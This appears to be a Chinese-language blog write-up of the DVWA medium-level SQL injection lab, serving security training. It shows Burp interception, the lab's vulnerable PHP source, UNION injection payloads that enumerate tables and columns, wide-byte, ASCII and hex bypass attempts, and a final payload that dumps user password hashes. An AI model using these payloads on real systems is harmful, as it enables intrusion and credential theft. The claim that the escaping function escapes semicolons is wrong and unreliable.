DVWA SQL注入中级
使用burp抓包发现抓不了127.0.0.1的包,配置好代理后再搜索about:,把本地的代理打开,就可以抓到包了
爆库名
中级的sql注入是设置好的post表单提交,在网页上没有输入的地方,所以我们用burp抓包来构造payload
id=1 union select database(),version()#
爆表名
构造payload查询数据库:id=1 union select table_name,NULL from information_schema.tables where table_schema=“dvwa”# 报错了 说的是分号被转义掉了
我们来看一下源码:
(在右下角点击View Sources)
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
mysqli_real_escape_string()这个函数对分号进行了\ 转义,要转义的字符串。编码的字符是 NUL(ASCII
0)、\n、\r、\、’、" 和 Control-Z。
这里可以构造用database()来查询:
payload: id=1 union select table_name,NULL from information_schema.tables where table_schema=database()#
爆字段
表名出来以后我们接着是爆字段,但是这里分号是用不了的,就不能直接查找我们想要的users表的字段,需要构造payload来绕过转义。
在网上找个几种常见的绕过方法:
1.宽字节注入
用%df
以单引号’为例,它被转义为’,我们的目标是去掉反斜杠,将’逃逸出来。现在我们不输入’,而是输入%df’,被转义后它变成:%df’,也相当于%df%5c%27(%5c表示反斜杠\ ),之后在数据库查询前由于使用了GBK多字节编码,%df%5c会gbk编码转换成为汉字"運",从而使得%27,也就是单引号逃逸。
payload:id=1 union select group_concat(column_name),NULL from information_schema.columns where table_name=%df'users %df'#
还是不行被转义掉了
2.用ASCII()绕过
ASCII(39)=’ 来进行构造,但是还是不行,我觉得可能是我的语句有问题
payload:id=1 union select group_concat(column_name),NULL from information_schema.columns where table_name=ASCII(39)users ASCII(39)#
3.用16进制绕过
前面两种方法不行,困扰了我一天,最后参考一篇博文找到了,16进制转换是用代码来实现的,但是现在我还不懂是怎么转换的
payload:id=1 and 1=2 union select group_concat(column_name),NULL from information_schema.columns where table_name=0x7573657273#
爆用户
最后爆出用户账号密码就很简单了
payload:id=1 and 1=2 union select user,password from users #